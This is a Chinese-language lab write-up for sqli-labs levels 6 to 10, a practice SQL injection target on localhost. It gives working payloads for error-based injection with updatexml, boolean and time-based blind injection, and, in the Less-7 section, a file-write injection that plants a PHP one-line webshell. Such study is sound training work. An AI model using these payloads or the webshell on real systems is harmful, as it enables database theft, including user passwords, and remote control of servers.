less-6
1.根据题目给出的已知条件,确定使用ID作为参数
2.在id后面跟个双引号会引起报错 说明页面有报错语句的位置 可以使用报错注入
http://127.0.0.1/Less-6/?id=1" --+
3.使用报错函数updatexml() 查询数据库和用户名
?id=1" and updatexml(1,concat(1,(database())),1) --+
?id=1" and updatexml(1,concat(1,(user())),1) --+
4.通过报错注入查询数据库中的所有表
5.通过报错注入查询users表中的所有列(字段)
?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
6.通过报错注入查询users表的所有数据
?id=1" and updatexml(1,concat(1,(select group_concat(id,username,password) from users) ),1) --+
7.由于结果显示不全 可以使用limit来逐个查询
?id=1" and updatexml(1,concat(1,(select username from users limit 0,1) ),1) --+
less-7
1.根据题目我们可以知道这一关需要使用导出文件进行攻击
2.首先我们要知道数据库的绝对路径
我们可以第一关直接查找
3.判断闭合方式为 '))--+
4.写入一句话木马
id=1')) union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile 'D:/phpstudy_pro/WWW/cjb.php' --+
5.虽然显示语法错误 但是浏览器可以访问到 说明已经注入成功
6.利用菜刀工具就可以拿到管理权限
less-8
1.判断注入点
当输入id=1时 页面正常显示
当加上单引号后 页面显示不一样
2.通过判断这一关使用布尔盲注来实施注入攻击
先判断数据库名的长度 使用length函数
当长度=7时 页面显示不正常 id=1' and length(database())=7 --+
当长度=8时 页面显示正常 id=1' and length(database())=8 --+
说明数据库名的长度为8
3.通过substr函数去获取数据库名的每一个字符
使用ascii码进行判断 当ascii值大于114时 页面正常
当ascii值大于115时 页面不正常 说明第一个字符的ASCII值为115 也就是 's'
以此类推 可以得出数据库名为security
4.同上使用substr函数去获取数据库中的表
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
可以得出一共有四张表
5.查看users表中的第一个字段的第一个字符
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+
页面显示正常
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105 --+
页面显示不正常 说明第一个字段的第一个字符的ASCII值是105 也就是’i‘
less-9
1.无论输入什么都没有回显
2.我们可以尝试使用时间盲注
id=1' and sleep(3) --+
发现页面在3秒后显示 说明可以使用时间盲注
3.使用if函数进行判断数据库长度
id=1' and if(length(database())=7,sleep(3),1) --+
当测试数据库长度=7时 页面也没有延迟
当测试数据库长度=8时 发现页面有明显延迟 说明数据库长度=8
4.同上使用if函数获取数据库名
id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+
当数据库名第一个字符的ascii值=115时,页面出现延迟 说明第一个字符的ASCII=115 也就是’s‘
以此类推 可以得出数据库名为security
5.同上使用if函数获取第一个表名的第一个字符
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+
当第一个表名的第一个字符的ASCII值=101时 页面出现延迟 说明第一个字符的ASCII=101 也就是’e‘
以此类推 可以得出第一个表的名字是emails
6.同上使用if函数获取users表的第一个字段名
id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))=105,sleep(5),1) --+
当users表的第一个字符的ASCII值=105时 页面出现延迟 说明第一个字符的ASCII=105 也就是’i‘
以此类推 可以得出第一个字段的名字是id
less-10
1.这个和第九个一样没有任何回显 尝试使用时间盲注
id=1 " and sleep(3) --+
发现页面有延迟 说明可以使用时间盲注
2.使用if函数进行判断数据库长度
id=1" and if(length(database())=7,sleep(3),1) --+
当测试数据库长度=7时 页面也没有延迟
当测试数据库长度=8时 页面出现延迟
说明数据库的长度为8
3.同上使用if函数获取数据库名
id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+
当数据库名第一个字符的ascii值=115时,页面出现延迟 说明第一个字符的ASCII=115 也就是’s‘
依次类推 可以得出数据库名为security
第9关和第10关的区别:
第9关的闭合方式为单引号的时间盲注 第10关的闭合方式为双引号的时间盲注